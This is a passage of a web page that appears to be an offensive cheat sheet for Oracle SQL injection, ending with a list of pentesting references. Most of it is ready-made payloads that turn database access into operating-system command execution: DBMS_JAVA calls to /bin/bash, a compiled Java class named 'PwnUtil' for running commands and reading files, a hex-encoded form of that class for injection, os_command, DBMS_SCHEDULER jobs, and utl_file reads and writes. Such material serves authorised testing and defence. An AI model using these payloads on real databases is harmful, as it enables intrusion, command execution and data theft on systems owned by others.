<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">DBMS_JAVA_TEST</span><span class="p">.</span><span class="n">FUNCALL</span><span class="p">(</span><span class="s1">&#39;oracle/aurora/util/Wrapper&#39;</span><span class="p">,</span><span class="s1">&#39;main&#39;</span><span class="p">,</span><span class="s1">&#39;/bin/bash&#39;</span><span class="p">,</span><span class="s1">&#39;-c&#39;</span><span class="p">,</span><span class="s1">&#39;/bin/ls&gt;/tmp/OUT2.LST&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">dual</span>
</code></pre></div>
</li>
<li>
<p>11g R1 and R2: <code>DBMS_JAVA.RUNJAVA()</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">DBMS_JAVA</span><span class="p">.</span><span class="n">RUNJAVA</span><span class="p">(</span><span class="s1">&#39;oracle/aurora/util/Wrapper /bin/bash -c /bin/ls&gt;/tmp/OUT.LST&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">DUAL</span>
</code></pre></div>
</li>
</ul>
</li>
</ul>
<h3 id="oracle-java-class">Oracle Java Class</h3>
<ul>
<li>
<p>Create Java class</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="k">BEGIN</span>
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="k">EXECUTE</span><span class="w"> </span><span class="k">IMMEDIATE</span><span class="w"> </span><span class="s1">&#39;create or replace and compile java source named &quot;PwnUtil&quot; as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = &quot;&quot;;while ((stemp = myReader.readLine()) != null) str += stemp + &quot;\n&quot;;myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = &quot;&quot;;while((stemp = myReader.readLine()) != null) str += stemp + &quot;\n&quot;;myReader.close();return str;} catch (Exception e){ return e.toString();}}};&#39;</span><span class="p">;</span>
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="k">END</span><span class="p">;</span>
<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a>
<a id="__codelineno-9-5" name="__codelineno-9-5" href="#__codelineno-9-5"></a><span class="k">BEGIN</span>
<a id="__codelineno-9-6" name="__codelineno-9-6" href="#__codelineno-9-6"></a><span class="k">EXECUTE</span><span class="w"> </span><span class="k">IMMEDIATE</span><span class="w"> </span><span class="s1">&#39;create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name &#39;&#39;PwnUtil.runCmd(java.lang.String) return String&#39;&#39;;&#39;</span><span class="p">;</span>
<a id="__codelineno-9-7" name="__codelineno-9-7" href="#__codelineno-9-7"></a><span class="k">END</span><span class="p">;</span>
<a id="__codelineno-9-8" name="__codelineno-9-8" href="#__codelineno-9-8"></a>
<a id="__codelineno-9-9" name="__codelineno-9-9" href="#__codelineno-9-9"></a><span class="c1">-- hex encoded payload</span>
<a id="__codelineno-9-10" name="__codelineno-9-10" href="#__codelineno-9-10"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">TO_CHAR</span><span class="p">(</span><span class="n">dbms_xmlquery</span><span class="p">.</span><span class="n">getxml</span><span class="p">(</span><span class="s1">&#39;declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(&#39;&#39;637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d&#39;&#39;));</span>
<a id="__codelineno-9-11" name="__codelineno-9-11" href="#__codelineno-9-11"></a><span class="s1">EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(&#39;&#39;637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b&#39;&#39;)); end;&#39;</span><span class="p">))</span><span class="w"> </span><span class="n">results</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">dual</span>
</code></pre></div>
</li>
<li>
<p>Run OS command</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">PwnUtilFunc</span><span class="p">(</span><span class="s1">&#39;ping -c 4 localhost&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">dual</span><span class="p">;</span>
</code></pre></div>
</li>
</ul>
<h3 id="package-os_command">Package os_command</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">os_command</span><span class="p">.</span><span class="n">exec_clob</span><span class="p">(</span><span class="s1">&#39;&lt;COMMAND&gt;&#39;</span><span class="p">)</span><span class="w"> </span><span class="n">cmd</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">dual</span>
</code></pre></div>
<h3 id="dbms_scheduler-jobs">DBMS_SCHEDULER Jobs</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="n">DBMS_SCHEDULER</span><span class="p">.</span><span class="n">CREATE_JOB</span><span class="w"> </span><span class="p">(</span><span class="n">job_name</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="s1">&#39;exec&#39;</span><span class="p">,</span><span class="w"> </span><span class="n">job_type</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="s1">&#39;EXECUTABLE&#39;</span><span class="p">,</span><span class="w"> </span><span class="n">job_action</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="s1">&#39;&lt;COMMAND&gt;&#39;</span><span class="p">,</span><span class="w"> </span><span class="n">enabled</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">TRUE</span><span class="p">)</span>
</code></pre></div>
<h2 id="oraclesql-file-manipulation">OracleSQL File Manipulation</h2>
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> Only in a stacked query.</p>
<h3 id="oraclesql-read-file">OracleSQL Read File</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="n">utl_file</span><span class="p">.</span><span class="n">get_line</span><span class="p">(</span><span class="n">utl_file</span><span class="p">.</span><span class="n">fopen</span><span class="p">(</span><span class="s1">&#39;/path/to/&#39;</span><span class="p">,</span><span class="s1">&#39;file&#39;</span><span class="p">,</span><span class="s1">&#39;R&#39;</span><span class="p">),</span><span class="w"> </span><span class="o">&lt;</span><span class="n">buffer</span><span class="o">&gt;</span><span class="p">)</span>
</code></pre></div>
<h3 id="oraclesql-write-file">OracleSQL Write File</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="n">utl_file</span><span class="p">.</span><span class="n">put_line</span><span class="p">(</span><span class="n">utl_file</span><span class="p">.</span><span class="n">fopen</span><span class="p">(</span><span class="s1">&#39;/path/to/&#39;</span><span class="p">,</span><span class="s1">&#39;file&#39;</span><span class="p">,</span><span class="s1">&#39;R&#39;</span><span class="p">),</span><span class="w"> </span><span class="o">&lt;</span><span class="n">buffer</span><span class="o">&gt;</span><span class="p">)</span>
</code></pre></div>
<h2 id="references">References</h2>
<ul>
<li><a href="https://web.archive.org/web/20211108150011/https://owasp.org/www-pdf-archive/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf">ASDC12 - New and Improved Hacking Oracle From Web - Sumit “sid” Siddharth - November 8, 2021</a></li>
<li><a href="https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle">Error Based Injection | NetSPI SQL Injection Wiki - NetSPI - February 15, 2021</a></li>
<li><a href="https://github.com/quentinhardy/odat/wiki/privesc">ODAT: Oracle Database Attacking Tool - quentinhardy - March 24, 2016</a></li>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet">Oracle SQL Injection Cheat Sheet - @pentestmonkey - August 30, 2011</a></li>
<li><a href="https://book.hacktricks.xyz/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener">Pentesting Oracle TNS Listener - HackTricks - July 19, 2024</a></li>
<li><a href="https://www.websec.ca/kb/sql_injection#Oracle_Default_Databases">The SQL Injection Knowledge Base - Roberto Salgado - May 29, 2013</a></li>
</ul>
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